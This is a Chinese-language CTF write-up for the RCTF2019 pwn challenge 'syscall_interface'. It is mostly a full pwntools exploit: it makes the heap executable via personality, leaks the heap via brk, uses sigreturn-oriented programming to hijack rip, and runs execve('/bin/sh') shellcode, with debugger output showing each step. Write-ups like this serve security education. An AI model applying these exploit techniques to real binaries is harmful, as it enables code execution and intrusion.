RCTF2019 pwn syscall_interface writeup

一道考验我们对于系统调用掌握程度的题目。

思路借鉴自:https://balsn.tw/ctf_writeup/20190518-rctf2019/#syscall_interface

源程序、相关文件下载:http://file.eonew.cn/ctf/pwn/syscall_interface.zip

分析

题目程序流是很简单的,就是我们可以使用系统调用,但是只能控制第一个参数。

思路

  1. sys_personality设置之后申请的内存有执行权限
  2. sys_brk返回申请的权限的末尾地址
  3. 构造shellcode和frame
  4. 利用printf把shellcode注入到heap上
  5. sys_rt_sigreturn控制rip
  6. 注入新的shellcode

sys_personality

sh.recvuntil('choice:')
sh.sendline('0')
sh.recvuntil('syscall number:')
sh.sendline('135') # sys_personality
sh.recvuntil('argument:')
sh.sendline(str(0x400000)) # READ_IMPLIES_EXEC

设置之后申请的内存有执行权限,由于之后程序会调用printf函数,而printf函数需要依赖于heap,也就是在调用printf的时候,若程序没有heap,则printf函数会向系统进行申请。由于我们之前调用了sys_personality,所以之后的heap就会有执行权限。

原理如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/personality.h>

int main()
{
    personality(READ_IMPLIES_EXEC); // break1
    printf("hello world\n");        // break2

    return 0;
}

执行完break1之后,之后的内存有执行权限,而break2printf会申请heap

这样就会使得后面申请的栈有执行权限。

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x555555554000     0x555555555000 r-xp     1000 0      /home/ex/test/a.out
    0x555555754000     0x555555755000 r--p     1000 0      /home/ex/test/a.out
    0x555555755000     0x555555756000 rw-p     1000 1000   /home/ex/test/a.out
    0x555555756000     0x555555777000 rwxp    21000 0      [heap]
    0x7ffff79e4000     0x7ffff7bcb000 r-xp   1e7000 0      /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff7bcb000     0x7ffff7dcb000 ---p   200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff7dcb000     0x7ffff7dcf000 r--p     4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff7dcf000     0x7ffff7dd1000 rw-p     2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff7dd1000     0x7ffff7dd5000 rw-p     4000 0      
    0x7ffff7dd5000     0x7ffff7dfc000 r-xp    27000 0      /lib/x86_64-linux-gnu/ld-2.27.so
    0x7ffff7fd8000     0x7ffff7fda000 rw-p     2000 0      
    0x7ffff7ff7000     0x7ffff7ffa000 r--p     3000 0      [vvar]
    0x7ffff7ffa000     0x7ffff7ffc000 r-xp     2000 0      [vdso]
    0x7ffff7ffc000     0x7ffff7ffd000 r--p     1000 27000  /lib/x86_64-linux-gnu/ld-2.27.so
    0x7ffff7ffd000     0x7ffff7ffe000 rw-p     1000 28000  /lib/x86_64-linux-gnu/ld-2.27.so
    0x7ffff7ffe000     0x7ffff7fff000 rw-p     1000 0      
    0x7ffffffdd000     0x7ffffffff000 rw-p    22000 0      [stack]
0xffffffffff600000 0xffffffffff601000 r-xp     1000 0      [vsyscall]

sys_brk

但参数为0,该函数的的返回值为可以申请的内存页的开头,也就是heap的末尾。由于我们知道heap的大小是0x21000,所以可以计算出heap的地址。

sh.recvuntil('choice:')
sh.sendline('0')
sh.recvuntil('syscall number:')
sh.sendline('12') # sys_brk
sh.recvuntil('argument:')
sh.sendline(str(0))

sh.recvuntil("RET(")
heap_addr = int(sh.recvuntil(")")[:-1], 16) - 0x21000
log.success("heap_addr: " + hex(heap_addr))

构造shellcode和frame

我们会用到username(刚好在栈上)来构造frame,在构造frame之前我们需要知道username对于frame的偏移。

pwndbg> b syscall
Breakpoint 1 at 0x7f1c2ea3b820: file ../sysdeps/unix/sysv/linux/x86_64/syscall.S, line 30.
pwndbg> c
Continuing.

Breakpoint 1, syscall () at ../sysdeps/unix/sysv/linux/x86_64/syscall.S:30
30  ../sysdeps/unix/sysv/linux/x86_64/syscall.S: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────
 RAX  0x0
 RBX  0x0
 RCX  0xdeadbeefffee1bad
 RDX  0xdeadbeefffee1bad
 RDI  0x87
 RSI  0x400000
 R8   0xdeadbeefffee1bad
 R9   0xdeadbeefffee1bad
 R10  0x7f1c2eabecc0 (_nl_C_LC_CTYPE_class+256) ◂— add    al, byte ptr [rax]
 R11  0xa
 R12  0x55dfb09fc9c0 ◂— xor    ebp, ebp
 R13  0x7fff96f92b70 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fff96f929e0 —▸ 0x7fff96f92a90 —▸ 0x55dfb09fd060 ◂— push   r15
 RSP  0x7fff96f92988 —▸ 0x55dfb09fcecd ◂— add    rsp, 0x20
 RIP  0x7f1c2ea3b820 (syscall) ◂— mov    rax, rdi
──────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
  0x7f1c2ea3b820 <syscall>       mov    rax, rdi
   0x7f1c2ea3b823 <syscall+3>     mov    rdi, rsi
   0x7f1c2ea3b826 <syscall+6>     mov    rsi, rdx
   0x7f1c2ea3b829 <syscall+9>     mov    rdx, rcx
   0x7f1c2ea3b82c <syscall+12>    mov    r10, r8
   0x7f1c2ea3b82f <syscall+15>    mov    r8, r9
   0x7f1c2ea3b832 <syscall+18>    mov    r9, qword ptr [rsp + 8]
   0x7f1c2ea3b837 <syscall+23>    syscall 
   0x7f1c2ea3b839 <syscall+25>    cmp    rax, -0xfff
   0x7f1c2ea3b83f <syscall+31>    jae    syscall+34 <0x7f1c2ea3b842>

   0x7f1c2ea3b841 <syscall+33>    ret    
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ rsp  0x7fff96f92988 —▸ 0x55dfb09fcecd ◂— add    rsp, 0x20
01:0008│      0x7fff96f92990 ◂— 0xdeadbeefffee1bad
... 
05:0028│      0x7fff96f929b0 —▸ 0x7fff96f929e0 —▸ 0x7fff96f92a90 —▸ 0x55dfb09fd060 ◂— push   r15
06:0030│      0x7fff96f929b8 —▸ 0x7fff96f92a00 ◂— 0x79646f626f6e /* 'nobody' */
07:0038│      0x7fff96f929c0 ◂— 0x8700000000000030 /* '0' */
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
  f 0     7f1c2ea3b820 syscall
   f 1     55dfb09fcecd
   f 2     55dfb09fcfb5
   f 3     7f1c2e941b97 __libc_start_main+231
Breakpoint syscall
pwndbg> search -s nobody
syscall_interface 0x55dfb09fcf42 outsb  dx, byte ptr [rsi] /* 'nobody' */
warning: Unable to access 16000 bytes of target memory at 0x7f1c2eb0ed05, halting search.
[stack]         0x7fff96f92a00 0x79646f626f6e /* 'nobody' */

从上面的调试信息可以看出username的地址是0x7fff96f92a00,接下来计算他们的偏移。

pwndbg> p 0x7fff96f92a00-(size_t)$rsp
$1 = 120

正好是120字节的偏移,这个值在之后构造frame的时候会用到。

120的字节,让我们来看看我们能控制哪些寄存器:

  __uint64_t rbp;    // 120-128
  __uint64_t rbx;    // 128-136
  __uint64_t rdx;    // 136-144
  __uint64_t rax;    // 144-152
  __uint64_t rcx;    // 152-160
  __uint64_t rsp;    // 160-168
  __uint64_t rip;    // 168-176
  __uint64_t eflags;
  unsigned short cs;
  unsigned short gs;
  unsigned short fs;
  unsigned short ss;

能控制的还是很多的,但是前面十六个字节我们需要注入shellcode,而且rbprbx对我们来说也并没有用。

shellcode = '''
xor rdi, rdi
mov rsi, rsp
syscall

jmp rsi
'''

# You need to calculate the value by yourself
rip_heap_offset = 664 - 8
rip = heap_addr + rip_heap_offset

log.success('rip: ' + hex(rip))

frame = SigreturnFrame()
frame.rax = constants.SYS_read
frame.rdx = 0x1000
frame.rsp = heap_addr + 0x5000
frame.rip = rip
# set cs=0x33, ss=0x2b
frame.csgsfs = (0x002b * 0x1000000000000) | (0x0000 * 0x100000000) | (0x0001 * 0x10000) | (0x0033 * 0x1)

payload = asm(shellcode).ljust(16, '\0') + str(frame)[120 + 16:]

这里我重点提两点:

我们是利用printf的%s来把shellcode存放到heap上的,所以shellcode中不能有NUL字节,否则会被截断。

frame 框架一定要设置cs和ss,否则程序会直接crash。

shellcode注入到heap

sh.recvuntil('choice:')
sh.sendline('1')
sh.recvuntil('username:')
sh.send(payload[:127])
# pause()

# leave shellcode on the heap
sh.recvuntil('choice:')
sh.sendline('0')
sh.recvuntil('syscall number:')
sh.sendline('12') # sys_brk
sh.recvuntil('argument:')
sh.sendline(str(0))

sys_rt_sigreturn控制rip

在这之前我们需要先知道shellcode相对于heap的偏移,计算方法如下:

pwndbg> search -s nobody
syscall_interface 0x5573e73faf42 outsb  dx, byte ptr [rsi] /* 'nobody' */
[heap]          0x5573e8729290 0xa79646f626f6e /* 'nobody\n' */
warning: Unable to access 16000 bytes of target memory at 0x7f961b13fd05, halting search.
[stack]         0x7ffe5ac18ce0 0x79646f626f6e /* 'nobody' */
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x5573e73fa000     0x5573e73fc000 r-xp     2000 0      /home/ex/test/syscall_interface
    0x5573e75fb000     0x5573e75fc000 r--p     1000 1000   /home/ex/test/syscall_interface
    0x5573e75fc000     0x5573e75fd000 rw-p     1000 2000   /home/ex/test/syscall_interface
    0x5573e8729000     0x5573e874a000 rwxp    21000 0      [heap]
    0x7f961af51000     0x7f961b138000 r-xp   1e7000 0      /lib/x86_64-linux-gnu/libc-2.27.so
    0x7f961b138000     0x7f961b338000 ---p   200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7f961b338000     0x7f961b33c000 r--p     4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7f961b33c000     0x7f961b33e000 rw-p     2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7f961b33e000     0x7f961b342000 rw-p     4000 0      
    0x7f961b342000     0x7f961b369000 r-xp    27000 0      /lib/x86_64-linux-gnu/ld-2.27.so
    0x7f961b54a000     0x7f961b54c000 rw-p     2000 0      
    0x7f961b569000     0x7f961b56a000 r--p     1000 27000  /lib/x86_64-linux-gnu/ld-2.27.so
    0x7f961b56a000     0x7f961b56b000 rw-p     1000 28000  /lib/x86_64-linux-gnu/ld-2.27.so
    0x7f961b56b000     0x7f961b56c000 rw-p     1000 0      
    0x7ffe5abfa000     0x7ffe5ac1b000 rw-p    21000 0      [stack]
    0x7ffe5ac29000     0x7ffe5ac2c000 r--p     3000 0      [vvar]
    0x7ffe5ac2c000     0x7ffe5ac2e000 r-xp     2000 0      [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp     1000 0      [vsyscall]
pwndbg> p 0x5573e8729290-0x5573e8729000
$1 = 656

然后就直接调用sys_rt_sigreturn控制rip。

sh.recvuntil('choice:')
sh.sendline('0')
sh.recvuntil('syscall number:')
sh.sendline('15') # sys_rt_sigreturn
sh.recvuntil('argument:')
sh.sendline(str(0))

注入新的shellcode

shellcode2 = '''
mov rax, 0x0068732f6e69622f
push rax

mov rdi, rsp
xor rsi, rsi
mul rsi
mov al, 59
syscall
'''

sh.send(asm(shellcode2))

完整脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import random
import struct
import os
import binascii
import sys
import time

# context.log_level = 'debug'
context.arch = 'amd64'
sh = process("./syscall_interface")
# elf = ELF("./many_notes")
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

# 创建pid文件,用于gdb调试
try:
    f = open('/tmp/pid', 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()
except Exception as e:
    pass

# pause()
sh.recvuntil('choice:')
sh.sendline('0')
sh.recvuntil('syscall number:')
sh.sendline('135') # sys_personality
sh.recvuntil('argument:')
sh.sendline(str(0x400000)) # READ_IMPLIES_EXEC

sh.recvuntil('choice:')
sh.sendline('0')
sh.recvuntil('syscall number:')
sh.sendline('12') # sys_brk
sh.recvuntil('argument:')
sh.sendline(str(0))

sh.recvuntil("RET(")
heap_addr = int(sh.recvuntil(")")[:-1], 16) - 0x21000
log.success("heap_addr: " + hex(heap_addr))

# pause()

# offset 120

'''
  __uint64_t rbp;    // 120-128
  __uint64_t rbx;    // 128-136
  __uint64_t rdx;    // 136-144
  __uint64_t rax;    // 144-152
  __uint64_t rcx;    // 152-160
  __uint64_t rsp;    // 160-168
  __uint64_t rip;    // 168-176
'''

shellcode = '''
xor rdi, rdi
mov rsi, rsp
syscall

jmp rsi
'''

# You need to calculate the value by yourself
rip_heap_offset = 656
rip = heap_addr + rip_heap_offset

log.success('rip: ' + hex(rip))

frame = SigreturnFrame()
frame.rax = constants.SYS_read
frame.rdx = 0x1000
frame.rsp = heap_addr + 0x5000
frame.rip = rip
# set cs=0x33, ss=0x2b
frame.csgsfs = (0x002b * 0x1000000000000) | (0x0000 * 0x100000000) | (0x0001 * 0x10000) | (0x0033 * 0x1)

payload = asm(shellcode).ljust(16, '\0') + str(frame)[120 + 16:]

# set heap and stack simultaneously: 

# leave frame on the stack
sh.recvuntil('choice:')
sh.sendline('1')
sh.recvuntil('username:')
sh.send(payload[:127])
# pause()

# leave shellcode on the heap
sh.recvuntil('choice:')
sh.sendline('0')
sh.recvuntil('syscall number:')
sh.sendline('12') # sys_brk
sh.recvuntil('argument:')
sh.sendline(str(0))
# pause()

sh.recvuntil('choice:')
sh.sendline('0')
sh.recvuntil('syscall number:')
sh.sendline('15') # sys_rt_sigreturn
sh.recvuntil('argument:')
sh.sendline(str(0))
# pause()

shellcode2 = '''
mov rax, 0x0068732f6e69622f
push rax

mov rdi, rsp
xor rsi, rsi
mul rsi
mov al, 59
syscall
'''

sh.send(asm(shellcode2))

sh.interactive()

运行实例

ex@Ex:~/test$ ./exp.py 
[+] Starting local process './syscall_interface': pid 27761
[+] heap_addr: 0x55ad5cbf2000
[+] rip: 0x55ad5cbf2290
[*] Switching to interactive mode
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),127(sambashare),129(wireshark),132(docker)

总结

看大佬写的博客,学到的东西感觉很充实。